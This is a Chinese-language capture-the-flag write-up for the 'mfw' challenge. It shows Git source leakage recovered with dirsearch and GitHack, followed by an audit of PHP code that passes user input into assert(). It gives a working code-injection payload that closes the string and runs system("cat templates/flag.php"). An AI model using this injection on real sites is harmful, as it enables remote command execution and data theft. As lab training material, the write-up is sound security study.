背景知识
Git泄露
Githack使用
命令执行漏洞
题目
这里页面里有Git,猜测是Git泄露
先用dirsearch扫一下
确实存在.git目录,可以尝试访问一下
使用Githack来下载并恢复.git文件
这里记得使用的时候关闭杀毒软件
结果会自动保存
点进去先看一下flag这个文件,发现什么都没有
再看一下index.php,进行代码审计
?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
//使用get请求方式给page传参,如果没传,默认page=home
$file = "templates/" . $page . ".php";
//$file变量会接收传入的$page并且在其前面拼接templates/,在其后面拼接.php,PHP中用.来实现字符串的拼接
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//strpos() 函数会在'$file'这个字符串中进行查找,是否存在'..',当字符串里有'..',则会返回一个数(即'..'第一次出现的位置),结果为true
//与右边的false并不恒等,此时就会执行or右边的die()函数,输出 Detected hacking attempt!
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
//file_exists() 函数还会检查我们传入的page拼接后是否存在
由代码审计可知,file_exists() 函数还会检查我们传入的page拼接后是否存在,在之前的githack下载文件中,templates文件夹中有四个php文件,只要传入的不是这4个,就会执行die函数,输出 That file doesn't exist!
file_exists()函数不会对获取flag有影响
assert()函数会将括号中的字符当成代码来执行
可以直接在第一个assert()函数处就调用cat命令来获取flag
传入的page中不能有'..',使strpos()函数返回false,和右边的false相等
payload
?page=123') or system("cat templates/flag.php");//
payload的前半段可以是存在的文件也可是不存在的文件
只需要前半段返回的是false,执行or后面的即可
在最后添加注释//,确保后面的代码不会执行
传入payload的之后,查看网页源代码可以找到flag
参考学习链接:
攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客
攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客